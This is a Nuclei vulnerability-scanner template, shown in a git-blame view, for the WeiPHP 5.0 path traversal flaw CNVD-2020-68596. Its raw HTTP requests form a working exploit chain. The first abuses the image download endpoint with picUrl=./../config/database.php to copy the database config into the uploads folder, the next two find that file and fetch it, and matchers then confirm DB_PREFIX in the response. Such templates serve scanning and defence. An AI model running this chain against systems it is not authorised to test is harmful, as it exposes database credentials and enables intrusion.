nuclei-templates/cnvd/CNVD-2020-68596.yaml

49 lines
1.4 KiB
YAML
Raw Normal View History

2021-06-03 16:24:08 +00:00
id: CNVD-2020-68596
2021-02-25 08:59:17 +00:00
info:
name: WeiPHP 5.0 Path Traversal
author: pikpikcu
severity: critical
reference: http://wiki.peiqi.tech/PeiQi_Wiki/CMS%E6%BC%8F%E6%B4%9E/Weiphp/Weiphp5.0%20%E5%89%8D%E5%8F%B0%E6%96%87%E4%BB%B6%E4%BB%BB%E6%84%8F%E8%AF%BB%E5%8F%96%20CNVD-2020-68596.html
2021-06-03 16:24:08 +00:00
tags: weiphp,lfi,cnvd
2021-02-25 08:59:17 +00:00
requests:
- raw:
- |
POST /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 5
Content-Type: application/x-www-form-urlencoded
2021-02-25 12:59:49 +00:00
Accept-Encoding: deflate
2021-02-25 08:59:17 +00:00
"1":1
- |
GET /public/index.php/home/file/user_pics HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: gzip
2021-02-25 12:59:49 +00:00
Accept-Encoding: deflate
2021-02-25 08:59:17 +00:00
- |
2021-02-25 10:48:18 +00:00
GET {{endpoint}} HTTP/1.1
2021-02-25 08:59:17 +00:00
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
2021-02-25 12:59:49 +00:00
Accept-Encoding: deflate
2021-02-25 08:59:17 +00:00
extractors:
- type: regex
2021-02-25 10:48:18 +00:00
name: endpoint
2021-02-25 08:59:17 +00:00
part: body
2021-02-25 10:48:18 +00:00
internal: true
2021-02-25 08:59:17 +00:00
regex:
- '/public/uploads/picture/(.*.jpg)'
matchers:
2021-02-25 12:59:49 +00:00
- type: word
words:
2021-02-25 17:34:21 +00:00
- https://weiphp.cn
- WeiPHP
- DB_PREFIX
2021-02-25 12:59:49 +00:00
condition: and
2021-02-25 09:33:56 +00:00
part: body